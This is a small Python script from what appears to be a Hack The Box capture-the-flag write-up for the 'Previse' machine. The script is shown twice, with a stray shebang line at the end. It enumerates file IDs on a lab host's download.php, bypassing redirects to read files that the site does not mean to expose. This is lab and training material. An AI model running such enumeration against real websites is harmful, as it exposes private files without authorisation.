<filename>Writeups/Hack The Box/Machine/Previse/3. Exploit/brute.py
#!/usr/bin/python3

import requests

url = "http://10.10.11.104/download.php?file="

for i in range(50,200):
    r = requests.get(url + str(i), allow_redirects=False)
    print("{0} -> {1}".format(i,r.text))
<filename>Writeups/Hack The Box/Machine/Previse/3. Exploit/brute.py
#!/usr/bin/python3

import requests

url = "http://10.10.11.104/download.php?file="

for i in range(50,200):
    r = requests.get(url + str(i), allow_redirects=False)
    print("{0} -> {1}".format(i,r.text))
#!/usr/bin/python3